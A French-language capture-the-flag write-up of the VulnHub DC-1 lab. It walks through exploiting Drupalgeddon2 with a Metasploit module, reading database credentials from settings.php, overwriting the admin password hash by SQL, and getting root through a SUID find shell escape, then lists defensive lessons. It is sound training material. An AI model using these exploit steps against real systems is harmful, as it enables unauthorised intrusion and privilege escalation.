VulnHub-DC1-Writeup

"Penetration testing lab writeups documenting full attack chains — from recon to root."

🔓 VulnHub — DC-1 : Writeup Boot-to-Root

Difficulté : Débutant–Intermédiaire
Plateforme : VulnHub
Objectif : récupérer les 4 flags et obtenir une compromission complète au niveau root
Système attaquant : Kali Linux (VirtualBox — NAT Network)
Système cible : Debian Linux (CMS Drupal 7)

📌 Table des matières

1. Configuration du laboratoire
2. Reconnaissance et énumération
3. Exploitation — Exécution de code à distance
4. Post-exploitation — Stabilisation du shell
5. Flag 1 — Énumération du serveur web
6. Flag 2 — Extraction des identifiants de la base de données
7. Flag 3 — Accès au panneau d'administration via la manipulation du hash
8. Flag 4 et Root — Élévation de privilèges SUID
9. Compétences et outils utilisés
10. Points clés à retenir

🛠 Configuration du laboratoire

Les deux machines virtuelles ont été configurées sur le même NAT Network dans VirtualBox afin de permettre la communication entre les VM tout en maintenant un environnement de laboratoire isolé.

🔍 Reconnaissance et énumération

Découverte des hôtes

Utilisation d'arp-scan pour identifier tous les hôtes actifs sur le sous-réseau local :

sudo arp-scan -l

Résultat : cible identifiée à 10.0.2.3

Scan des services et des ports

Exécution d'un scan Nmap complet avec détection de versions et scripts par défaut :

sudo nmap -sV -sC 10.0.2.3

Résultats clés :

🔑 Point critique : Nmap a explicitement identifié l'application web comme étant Drupal 7 via les en-têtes HTTP generator — confirmant une version de CMS connue comme vulnérable.

💥 Exploitation — Exécution de code à distance

Vulnérabilité : Drupalgeddon2 (CVE-2018-7600)

Drupal 7 est affecté par une vulnérabilité critique d'exécution de code à distance (RCE) dans son API Form. Un attaquant non authentifié peut envoyer une requête HTTP spécialement conçue que le backend exécute comme une commande système — sans qu'aucune authentification ne soit requise.

Lancement de Metasploit Framework :

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Résultat : le shell inverse Meterpreter s'est ouvert avec succès sous l'utilisateur www-data (l'utilisateur du processus du serveur web).

🐚 Post-exploitation — Stabilisation du shell

Bascule depuis Meterpreter vers un shell Linux natif, puis stabilisation de celui-ci à l'aide de Python PTY :

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Résultat : shell bash entièrement interactif sous l'identité www-data@DC-1 dans /var/www

🚩 Flag 1 — Énumération du serveur web

ls -la /var/www
cat flag1.txt

Contenu du flag 1 :

Every good CMS needs a config file - and so do you.

💡 Indice : pointe directement vers le fichier de configuration de Drupal — settings.php

🚩 Flag 2 — Extraction des identifiants de la base de données

Navigation vers le répertoire de configuration de Drupal et inspection du fichier de paramètres :

cd /var/www/sites/default
cat settings.php

Identifiants découverts intégrés dans le tableau $databases :

Contenu du flag 2 (extrait des commentaires du fichier) :

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Indice : utilisez ces identifiants pour accéder au backend MySQL — sans rien forcer par brute force.

🚩 Flag 3 — Accès au panneau d'administration via la manipulation du hash

Étape 1 : énumération de la base de données

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Des mots de passe hachés ont été trouvés pour admin et fred — tous deux utilisant le schéma de hachage $S$ de Drupal (basé sur SHA-512).

Étape 2 : génération d'un hash de mot de passe personnalisé

Au lieu de casser le hash existant, le script PHP intégré de Drupal a été utilisé pour en générer un nouveau :

cd /var/www
php scripts/password-hash.sh password123

Sortie : un hash $S$D... valide pour password123

Étape 3 : écrasement du mot de passe admin via SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Connexion à http://10.0.2.3 réussie avec admin / password123.

Contenu du flag 3 (trouvé dans le panneau de contenu d'administration de Drupal) :

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Indice : mauvaise configuration du binaire SUID sur la commande find — vecteur d'élévation de privilèges identifié.

🚩 Flag 4 et Root — Élévation de privilèges SUID

Étape 1 : énumération des utilisateurs système

cat /etc/passwd

Utilisateur flag4 localisé avec son répertoire personnel dans /home/flag4.

cat /home/flag4/flag4.txt

Contenu du flag 4 :

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Étape 2 : exploitation SUID via find

Le binaire find avait le bit SUID activé, ce qui signifie qu'il s'exécute avec les privilèges du propriétaire du fichier (root), quel que soit l'utilisateur qui l'exécute.

find . -exec /bin/sh \;
whoami
# root

Étape 3 : flag root

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

Compromission complète de root obtenue. ✅

🛠 Compétences et outils utilisés

Outils utilisés

Compétences démontrées

• ✅ Reconnaissance réseau et découverte des hôtes
• ✅ Empreinte des services et identification du CMS
• ✅ Recherche de CVE et utilisation d'exploits publics
• ✅ Metasploit Framework — déploiement de payloads
• ✅ Post-exploitation et mouvements latéraux
• ✅ Énumération de base de données et extraction d'identifiants
• ✅ Génération de hash de mot de passe et injection SQL via CLI
• ✅ Audit des binaires SUID Linux
• ✅ Élévation de privilèges jusqu'à root

📚 Points clés à retenir

D'un point de vue offensif :

• Les plateformes CMS non corrigées (même 1 à 2 versions majeures en retard) sont trivialement exploitables via les CVE publiques et les modules Metasploit.
• Les fichiers de configuration comme settings.php contiennent fréquemment des identifiants en clair qui font passer un attaquant d'un accès web à un contrôle total de la base de données.
• Les mauvaises configurations SUID sur des binaires courants comme find, vim ou python constituent l'un des vecteurs d'élévation de privilèges les plus fiables dans les environnements Linux.

D'un point de vue défensif :

• Appliquez toujours les correctifs aux plateformes CMS rapidement — des correctifs existaient pour Drupalgeddon2 ; la vulnérabilité venait du retard pris dans leur application.
• Les secrets (identifiants de base de données) ne doivent jamais être stockés dans des fichiers de configuration accessibles via le web sans chiffrement ni abstraction par variables d'environnement.
• Auditez régulièrement les binaires SUID : find / -perm -4000 -type f 2>/dev/null devrait faire partie de toute liste de contrôle de durcissement Linux.

⚠️ Avertissement

Ce writeup est strictement destiné à des fins éducatives et documente une activité réalisée dans un environnement de laboratoire isolé et légal. N'essayez jamais ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.

Réalisé par Prapul | Profil TryHackMe | GitHub